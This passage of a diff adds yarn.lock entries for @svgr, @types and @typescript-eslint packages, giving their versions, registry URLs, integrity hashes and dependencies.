+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz#25621a8915ed7ad70da6cea3d0a6dbc2ea933efd"
+  integrity sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA==
+
+"@svgr/babel-plugin-replace-jsx-attribute-value@^5.0.1":
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz#0b221fc57f9fcd10e91fe219e2cd0dd03145a897"
+  integrity sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ==
+
+"@svgr/babel-plugin-svg-dynamic-title@^5.4.0":
+  version "5.4.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz#139b546dd0c3186b6e5db4fefc26cb0baea729d7"
+  integrity sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg==
+
+"@svgr/babel-plugin-svg-em-dimensions@^5.4.0":
+  version "5.4.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz#6543f69526632a133ce5cabab965deeaea2234a0"
+  integrity sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw==
+
+"@svgr/babel-plugin-transform-react-native-svg@^5.4.0":
+  version "5.4.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz#00bf9a7a73f1cad3948cdab1f8dfb774750f8c80"
+  integrity sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q==
+
+"@svgr/babel-plugin-transform-svg-component@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz#583a5e2a193e214da2f3afeb0b9e8d3250126b4a"
+  integrity sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ==
+
+"@svgr/babel-preset@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-preset/-/babel-preset-5.5.0.tgz#8af54f3e0a8add7b1e2b0fcd5a882c55393df327"
+  integrity sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==
+  dependencies:
+    "@svgr/babel-plugin-add-jsx-attribute" "^5.4.0"
+    "@svgr/babel-plugin-remove-jsx-attribute" "^5.4.0"
+    "@svgr/babel-plugin-remove-jsx-empty-expression" "^5.0.1"
+    "@svgr/babel-plugin-replace-jsx-attribute-value" "^5.0.1"
+    "@svgr/babel-plugin-svg-dynamic-title" "^5.4.0"
+    "@svgr/babel-plugin-svg-em-dimensions" "^5.4.0"
+    "@svgr/babel-plugin-transform-react-native-svg" "^5.4.0"
+    "@svgr/babel-plugin-transform-svg-component" "^5.5.0"
+
+"@svgr/core@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/core/-/core-5.5.0.tgz#82e826b8715d71083120fe8f2492ec7d7874a579"
+  integrity sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==
+  dependencies:
+    "@svgr/plugin-jsx" "^5.5.0"
+    camelcase "^6.2.0"
+    cosmiconfig "^7.0.0"
+
+"@svgr/hast-util-to-babel-ast@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz#5ee52a9c2533f73e63f8f22b779f93cd432a5461"
+  integrity sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==
+  dependencies:
+    "@babel/types" "^7.12.6"
+
+"@svgr/plugin-jsx@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz#1aa8cd798a1db7173ac043466d7b52236b369000"
+  integrity sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==
+  dependencies:
+    "@babel/core" "^7.12.3"
+    "@svgr/babel-preset" "^5.5.0"
+    "@svgr/hast-util-to-babel-ast" "^5.5.0"
+    svg-parser "^2.0.2"
+
+"@svgr/plugin-svgo@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz#02da55d85320549324e201c7b2e53bf431fcc246"
+  integrity sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==
+  dependencies:
+    cosmiconfig "^7.0.0"
+    deepmerge "^4.2.2"
+    svgo "^1.2.2"
+
+"@svgr/webpack@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/webpack/-/webpack-5.5.0.tgz#aae858ee579f5fa8ce6c3166ef56c6a1b381b640"
+  integrity sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==
+  dependencies:
+    "@babel/core" "^7.12.3"
+    "@babel/plugin-transform-react-constant-elements" "^7.12.1"
+    "@babel/preset-env" "^7.12.1"
+    "@babel/preset-react" "^7.12.5"
+    "@svgr/core" "^5.5.0"
+    "@svgr/plugin-jsx" "^5.5.0"
+    "@svgr/plugin-svgo" "^5.5.0"
+    loader-utils "^2.0.0"
+
+"@tootallnate/once@1":
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/@tootallnate/once/-/once-1.1.2.tgz#ccb91445360179a04e7fe6aff78c00ffc1eeaf82"
+  integrity sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==
+
+"@trysound/sax@0.2.0":
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/@trysound/sax/-/sax-0.2.0.tgz#cccaab758af56761eb7bf37af6f03f326dd798ad"
+  integrity sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==
+
+"@types/babel__core@^7.0.0", "@types/babel__core@^7.1.14":
+  version "7.20.5"
+  resolved "https://registry.yarnpkg.com/@types/babel__core/-/babel__core-7.20.5.tgz#3df15f27ba85319caa07ba08d0721889bb39c017"
+  integrity sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==
+  dependencies:
+    "@babel/parser" "^7.20.7"
+    "@babel/types" "^7.20.7"
+    "@types/babel__generator" "*"
+    "@types/babel__template" "*"
+    "@types/babel__traverse" "*"
+
+"@types/babel__generator@*":
+  version "7.6.8"
+  resolved "https://registry.yarnpkg.com/@types/babel__generator/-/babel__generator-7.6.8.tgz#f836c61f48b1346e7d2b0d93c6dacc5b9535d3ab"
+  integrity sha512-ASsj+tpEDsEiFr1arWrlN6V3mdfjRMZt6LtK/Vp/kreFLnr5QH5+DhvD5nINYZXzwJvXeGq+05iUXcAzVrqWtw==
+  dependencies:
+    "@babel/types" "^7.0.0"
+
+"@types/babel__template@*":
+  version "7.4.4"
+  resolved "https://registry.yarnpkg.com/@types/babel__template/-/babel__template-7.4.4.tgz#5672513701c1b2199bc6dad636a9d7491586766f"
+  integrity sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==
+  dependencies:
+    "@babel/parser" "^7.1.0"
+    "@babel/types" "^7.0.0"
+
+"@types/babel__traverse@*", "@types/babel__traverse@^7.0.4", "@types/babel__traverse@^7.0.6":
+  version "7.20.6"
+  resolved "https://registry.yarnpkg.com/@types/babel__traverse/-/babel__traverse-7.20.6.tgz#8dc9f0ae0f202c08d8d4dab648912c8d6038e3f7"
+  integrity sha512-r1bzfrm0tomOI8g1SzvCaQHo6Lcv6zu0EA+W2kHrt8dyrHQxGzBBL4kdkzIS+jBMV+EYcMAEAqXqYaLJq5rOZg==
+  dependencies:
+    "@babel/types" "^7.20.7"
+
+"@types/body-parser@*":
+  version "1.19.5"
+  resolved "https://registry.yarnpkg.com/@types/body-parser/-/body-parser-1.19.5.tgz#04ce9a3b677dc8bd681a17da1ab9835dc9d3ede4"
+  integrity sha512-fB3Zu92ucau0iQ0JMCFQE7b/dv8Ot07NI3KaZIkIUNXq82k4eBAqUaneXfleGY9JWskeS9y+u0nXMyspcuQrCg==
+  dependencies:
+    "@types/connect" "*"
+    "@types/node" "*"
+
+"@types/bonjour@^3.5.9":
+  version "3.5.13"
+  resolved "https://registry.yarnpkg.com/@types/bonjour/-/bonjour-3.5.13.tgz#adf90ce1a105e81dd1f9c61fdc5afda1bfb92956"
+  integrity sha512-z9fJ5Im06zvUL548KvYNecEVlA7cVDkGUi6kZusb04mpyEFKCIZJvloCcmpmLaIahDpOQGHaHmG6imtPMmPXGQ==
+  dependencies:
+    "@types/node" "*"
+
+"@types/connect-history-api-fallback@^1.3.5":
+  version "1.5.4"
+  resolved "https://registry.yarnpkg.com/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.4.tgz#7de71645a103056b48ac3ce07b3520b819c1d5b3"
+  integrity sha512-n6Cr2xS1h4uAulPRdlw6Jl6s1oG8KrVilPN2yUITEs+K48EzMJJ3W1xy8K5eWuFvjp3R74AOIGSmp2UfBJ8HFw==
+  dependencies:
+    "@types/express-serve-static-core" "*"
+    "@types/node" "*"
+
+"@types/connect@*":
+  version "3.4.38"
+  resolved "https://registry.yarnpkg.com/@types/connect/-/connect-3.4.38.tgz#5ba7f3bc4fbbdeaff8dded952e5ff2cc53f8d858"
+  integrity sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==
+  dependencies:
+    "@types/node" "*"
+
+"@types/eslint-scope@^3.7.7":
+  version "3.7.7"
+  resolved "https://registry.yarnpkg.com/@types/eslint-scope/-/eslint-scope-3.7.7.tgz#3108bd5f18b0cdb277c867b3dd449c9ed7079ac5"
+  integrity sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==
+  dependencies:
+    "@types/eslint" "*"
+    "@types/estree" "*"
+
+"@types/eslint@*":
+  version "9.6.1"
+  resolved "https://registry.yarnpkg.com/@types/eslint/-/eslint-9.6.1.tgz#d5795ad732ce81715f27f75da913004a56751584"
+  integrity sha512-FXx2pKgId/WyYo2jXw63kk7/+TY7u7AziEJxJAnSFzHlqTAS3Ync6SvgYAN/k4/PQpnnVuzoMuVnByKK2qp0ag==
+  dependencies:
+    "@types/estree" "*"
+    "@types/json-schema" "*"
+
+"@types/eslint@^7.29.0 || ^8.4.1":
+  version "8.56.12"
+  resolved "https://registry.yarnpkg.com/@types/eslint/-/eslint-8.56.12.tgz#1657c814ffeba4d2f84c0d4ba0f44ca7ea1ca53a"
+  integrity sha512-03ruubjWyOHlmljCVoxSuNDdmfZDzsrrz0P2LeJsOXr+ZwFQ+0yQIwNCwt/GYhV7Z31fgtXJTAEs+FYlEL851g==
+  dependencies:
+    "@types/estree" "*"
+    "@types/json-schema" "*"
+
+"@types/estree@*", "@types/estree@^1.0.6":
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-1.0.6.tgz#628effeeae2064a1b4e79f78e81d87b7e5fc7b50"
+  integrity sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==
+
+"@types/estree@0.0.39":
+  version "0.0.39"
+  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-0.0.39.tgz#e177e699ee1b8c22d23174caaa7422644389509f"
+  integrity sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==
+
+"@types/express-serve-static-core@*", "@types/express-serve-static-core@^5.0.0":
+  version "5.0.6"
+  resolved "https://registry.yarnpkg.com/@types/express-serve-static-core/-/express-serve-static-core-5.0.6.tgz#41fec4ea20e9c7b22f024ab88a95c6bb288f51b8"
+  integrity sha512-3xhRnjJPkULekpSzgtoNYYcTWgEZkp4myc+Saevii5JPnHNvHMRlBSHDbs7Bh1iPPoVTERHEZXyhyLbMEsExsA==
+  dependencies:
+    "@types/node" "*"
+    "@types/qs" "*"
+    "@types/range-parser" "*"
+    "@types/send" "*"
+
+"@types/express-serve-static-core@^4.17.33":
+  version "4.19.6"
+  resolved "https://registry.yarnpkg.com/@types/express-serve-static-core/-/express-serve-static-core-4.19.6.tgz#e01324c2a024ff367d92c66f48553ced0ab50267"
+  integrity sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A==
+  dependencies:
+    "@types/node" "*"
+    "@types/qs" "*"
+    "@types/range-parser" "*"
+    "@types/send" "*"
+
+"@types/express@*":
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/@types/express/-/express-5.0.0.tgz#13a7d1f75295e90d19ed6e74cab3678488eaa96c"
+  integrity sha512-DvZriSMehGHL1ZNLzi6MidnsDhUZM/x2pRdDIKdwbUNqqwHxMlRdkxtn6/EPKyqKpHqTl/4nRZsRNLpZxZRpPQ==
+  dependencies:
+    "@types/body-parser" "*"
+    "@types/express-serve-static-core" "^5.0.0"
+    "@types/qs" "*"
+    "@types/serve-static" "*"
+
+"@types/express@^4.17.13":
+  version "4.17.21"
+  resolved "https://registry.yarnpkg.com/@types/express/-/express-4.17.21.tgz#c26d4a151e60efe0084b23dc3369ebc631ed192d"
+  integrity sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ==
+  dependencies:
+    "@types/body-parser" "*"
+    "@types/express-serve-static-core" "^4.17.33"
+    "@types/qs" "*"
+    "@types/serve-static" "*"
+
+"@types/graceful-fs@^4.1.2":
+  version "4.1.9"
+  resolved "https://registry.yarnpkg.com/@types/graceful-fs/-/graceful-fs-4.1.9.tgz#2a06bc0f68a20ab37b3e36aa238be6abdf49e8b4"
+  integrity sha512-olP3sd1qOEe5dXTSaFvQG+02VdRXcdytWLAZsAq1PecU8uqQAhkrnbli7DagjtXKW/Bl7YJbUsa8MPcuc8LHEQ==
+  dependencies:
+    "@types/node" "*"
+
+"@types/html-minifier-terser@^6.0.0":
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz#4fc33a00c1d0c16987b1a20cf92d20614c55ac35"
+  integrity sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==
+
+"@types/http-errors@*":
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/@types/http-errors/-/http-errors-2.0.4.tgz#7eb47726c391b7345a6ec35ad7f4de469cf5ba4f"
+  integrity sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA==
+
+"@types/http-proxy@^1.17.8":
+  version "1.17.15"
+  resolved "https://registry.yarnpkg.com/@types/http-proxy/-/http-proxy-1.17.15.tgz#12118141ce9775a6499ecb4c01d02f90fc839d36"
+  integrity sha512-25g5atgiVNTIv0LBDTg1H74Hvayx0ajtJPLLcYE3whFv75J0pWNtOBzaXJQgDTmrX1bx5U9YC2w/n65BN1HwRQ==
+  dependencies:
+    "@types/node" "*"
+
+"@types/istanbul-lib-coverage@*", "@types/istanbul-lib-coverage@^2.0.0", "@types/istanbul-lib-coverage@^2.0.1":
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz#7739c232a1fee9b4d3ce8985f314c0c6d33549d7"
+  integrity sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==
+
+"@types/istanbul-lib-report@*":
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz#53047614ae72e19fc0401d872de3ae2b4ce350bf"
+  integrity sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==
+  dependencies:
+    "@types/istanbul-lib-coverage" "*"
+
+"@types/istanbul-reports@^3.0.0":
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz#0f03e3d2f670fbdac586e34b433783070cc16f54"
+  integrity sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==
+  dependencies:
+    "@types/istanbul-lib-report" "*"
+
+"@types/json-schema@*", "@types/json-schema@^7.0.4", "@types/json-schema@^7.0.5", "@types/json-schema@^7.0.8", "@types/json-schema@^7.0.9":
+  version "7.0.15"
+  resolved "https://registry.yarnpkg.com/@types/json-schema/-/json-schema-7.0.15.tgz#596a1747233694d50f6ad8a7869fcb6f56cf5841"
+  integrity sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==
+
+"@types/json5@^0.0.29":
+  version "0.0.29"
+  resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee"
+  integrity sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==
+
+"@types/mime@^1":
+  version "1.3.5"
+  resolved "https://registry.yarnpkg.com/@types/mime/-/mime-1.3.5.tgz#1ef302e01cf7d2b5a0fa526790c9123bf1d06690"
+  integrity sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==
+
+"@types/node-forge@^1.3.0":
+  version "1.3.11"
+  resolved "https://registry.yarnpkg.com/@types/node-forge/-/node-forge-1.3.11.tgz#0972ea538ddb0f4d9c2fa0ec5db5724773a604da"
+  integrity sha512-FQx220y22OKNTqaByeBGqHWYz4cl94tpcxeFdvBo3wjG6XPBuZ0BNgNZRV5J5TFmmcsJ4IzsLkmGRiQbnYsBEQ==
+  dependencies:
+    "@types/node" "*"
+
+"@types/node@*":
+  version "22.13.1"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.13.1.tgz#a2a3fefbdeb7ba6b89f40371842162fac0934f33"
+  integrity sha512-jK8uzQlrvXqEU91UxiK5J7pKHyzgnI1Qnl0QDHIgVGuolJhRb9EEl28Cj9b3rGR8B2lhFCtvIm5os8lFnO/1Ew==
+  dependencies:
+    undici-types "~6.20.0"
+
+"@types/parse-json@^4.0.0":
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/@types/parse-json/-/parse-json-4.0.2.tgz#5950e50960793055845e956c427fc2b0d70c5239"
+  integrity sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==
+
+"@types/prettier@^2.1.5":
+  version "2.7.3"
+  resolved "https://registry.yarnpkg.com/@types/prettier/-/prettier-2.7.3.tgz#3e51a17e291d01d17d3fc61422015a933af7a08f"
+  integrity sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA==
+
+"@types/q@^1.5.1":
+  version "1.5.8"
+  resolved "https://registry.yarnpkg.com/@types/q/-/q-1.5.8.tgz#95f6c6a08f2ad868ba230ead1d2d7f7be3db3837"
+  integrity sha512-hroOstUScF6zhIi+5+x0dzqrHA1EJi+Irri6b1fxolMTqqHIV/Cg77EtnQcZqZCu8hR3mX2BzIxN4/GzI68Kfw==
+
+"@types/qs@*":
+  version "6.9.18"
+  resolved "https://registry.yarnpkg.com/@types/qs/-/qs-6.9.18.tgz#877292caa91f7c1b213032b34626505b746624c2"
+  integrity sha512-kK7dgTYDyGqS+e2Q4aK9X3D7q234CIZ1Bv0q/7Z5IwRDoADNU81xXJK/YVyLbLTZCoIwUoDoffFeF+p/eIklAA==
+
+"@types/range-parser@*":
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/@types/range-parser/-/range-parser-1.2.7.tgz#50ae4353eaaddc04044279812f52c8c65857dbcb"
+  integrity sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==
+
+"@types/resolve@1.17.1":
+  version "1.17.1"
+  resolved "https://registry.yarnpkg.com/@types/resolve/-/resolve-1.17.1.tgz#3afd6ad8967c77e4376c598a82ddd58f46ec45d6"
+  integrity sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==
+  dependencies:
+    "@types/node" "*"
+
+"@types/retry@0.12.0":
+  version "0.12.0"
+  resolved "https://registry.yarnpkg.com/@types/retry/-/retry-0.12.0.tgz#2b35eccfcee7d38cd72ad99232fbd58bffb3c84d"
+  integrity sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==
+
+"@types/semver@^7.3.12":
+  version "7.5.8"
+  resolved "https://registry.yarnpkg.com/@types/semver/-/semver-7.5.8.tgz#8268a8c57a3e4abd25c165ecd36237db7948a55e"
+  integrity sha512-I8EUhyrgfLrcTkzV3TSsGyl1tSuPrEDzr0yd5m90UgNxQkyDXULk3b6MlQqTCpZpNtWe1K0hzclnZkTcLBe2UQ==
+
+"@types/send@*":
+  version "0.17.4"
+  resolved "https://registry.yarnpkg.com/@types/send/-/send-0.17.4.tgz#6619cd24e7270793702e4e6a4b958a9010cfc57a"
+  integrity sha512-x2EM6TJOybec7c52BX0ZspPodMsQUd5L6PRwOunVyVUhXiBSKf3AezDL8Dgvgt5o0UfKNfuA0eMLr2wLT4AiBA==
+  dependencies:
+    "@types/mime" "^1"
+    "@types/node" "*"
+
+"@types/serve-index@^1.9.1":
+  version "1.9.4"
+  resolved "https://registry.yarnpkg.com/@types/serve-index/-/serve-index-1.9.4.tgz#e6ae13d5053cb06ed36392110b4f9a49ac4ec898"
+  integrity sha512-qLpGZ/c2fhSs5gnYsQxtDEq3Oy8SXPClIXkW5ghvAvsNuVSA8k+gCONcUCS/UjLEYvYps+e8uBtfgXgvhwfNug==
+  dependencies:
+    "@types/express" "*"
+
+"@types/serve-static@*", "@types/serve-static@^1.13.10":
+  version "1.15.7"
+  resolved "https://registry.yarnpkg.com/@types/serve-static/-/serve-static-1.15.7.tgz#22174bbd74fb97fe303109738e9b5c2f3064f714"
+  integrity sha512-W8Ym+h8nhuRwaKPaDw34QUkwsGi6Rc4yYqvKFo5rm2FUEhCFbzVWrxXUxuKK8TASjWsysJY0nsmNCGhCOIsrOw==
+  dependencies:
+    "@types/http-errors" "*"
+    "@types/node" "*"
+    "@types/send" "*"
+
+"@types/sockjs@^0.3.33":
+  version "0.3.36"
+  resolved "https://registry.yarnpkg.com/@types/sockjs/-/sockjs-0.3.36.tgz#ce322cf07bcc119d4cbf7f88954f3a3bd0f67535"
+  integrity sha512-MK9V6NzAS1+Ud7JV9lJLFqW85VbC9dq3LmwZCuBe4wBDgKC0Kj/jd8Xl+nSviU+Qc3+m7umHHyHg//2KSa0a0Q==
+  dependencies:
+    "@types/node" "*"
+
+"@types/stack-utils@^2.0.0":
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/@types/stack-utils/-/stack-utils-2.0.3.tgz#6209321eb2c1712a7e7466422b8cb1fc0d9dd5d8"
+  integrity sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==
+
+"@types/trusted-types@^2.0.2":
+  version "2.0.7"
+  resolved "https://registry.yarnpkg.com/@types/trusted-types/-/trusted-types-2.0.7.tgz#baccb07a970b91707df3a3e8ba6896c57ead2d11"
+  integrity sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==
+
+"@types/ws@^8.5.5":
+  version "8.5.14"
+  resolved "https://registry.yarnpkg.com/@types/ws/-/ws-8.5.14.tgz#93d44b268c9127d96026cf44353725dd9b6c3c21"
+  integrity sha512-bd/YFLW+URhBzMXurx7lWByOu+xzU9+kb3RboOteXYDfW+tr+JZa99OyNmPINEGB/ahzKrEuc8rcv4gnpJmxTw==
+  dependencies:
+    "@types/node" "*"
+
+"@types/yargs-parser@*":
+  version "21.0.3"
+  resolved "https://registry.yarnpkg.com/@types/yargs-parser/-/yargs-parser-21.0.3.tgz#815e30b786d2e8f0dcd85fd5bcf5e1a04d008f15"
+  integrity sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==
+
+"@types/yargs@^16.0.0":
+  version "16.0.9"
+  resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-16.0.9.tgz#ba506215e45f7707e6cbcaf386981155b7ab956e"
+  integrity sha512-tHhzvkFXZQeTECenFoRljLBYPZJ7jAVxqqtEI0qTLOmuultnFp4I9yKE17vTuhf7BkhCu7I4XuemPgikDVuYqA==
+  dependencies:
+    "@types/yargs-parser" "*"
+
+"@types/yargs@^17.0.8":
+  version "17.0.33"
+  resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-17.0.33.tgz#8c32303da83eec050a84b3c7ae7b9f922d13e32d"
+  integrity sha512-WpxBCKWPLr4xSsHgz511rFJAM+wS28w2zEO1QDNY5zM/S8ok70NNfztH0xwhqKyaK0OHCbN98LDAZuy1ctxDkA==
+  dependencies:
+    "@types/yargs-parser" "*"
+
+"@typescript-eslint/eslint-plugin@^5.5.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.62.0.tgz#aeef0328d172b9e37d9bab6dbc13b87ed88977db"
+  integrity sha512-TiZzBSJja/LbhNPvk6yc0JrX9XqhQ0hdh6M2svYfsHGejaKFIAGd9MQ+ERIMzLGlN/kZoYIgdxFV0PuljTKXag==
+  dependencies:
+    "@eslint-community/regexpp" "^4.4.0"
+    "@typescript-eslint/scope-manager" "5.62.0"
+    "@typescript-eslint/type-utils" "5.62.0"
+    "@typescript-eslint/utils" "5.62.0"
+    debug "^4.3.4"
+    graphemer "^1.4.0"
+    ignore "^5.2.0"
+    natural-compare-lite "^1.4.0"
+    semver "^7.3.7"
+    tsutils "^3.21.0"
+
+"@typescript-eslint/experimental-utils@^5.0.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/experimental-utils/-/experimental-utils-5.62.0.tgz#14559bf73383a308026b427a4a6129bae2146741"
+  integrity sha512-RTXpeB3eMkpoclG3ZHft6vG/Z30azNHuqY6wKPBHlVMZFuEvrtlEDe8gMqDb+SO+9hjC/pLekeSCryf9vMZlCw==
+  dependencies:
+    "@typescript-eslint/utils" "5.62.0"
+
+"@typescript-eslint/parser@^5.5.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-5.62.0.tgz#1b63d082d849a2fcae8a569248fbe2ee1b8a56c7"
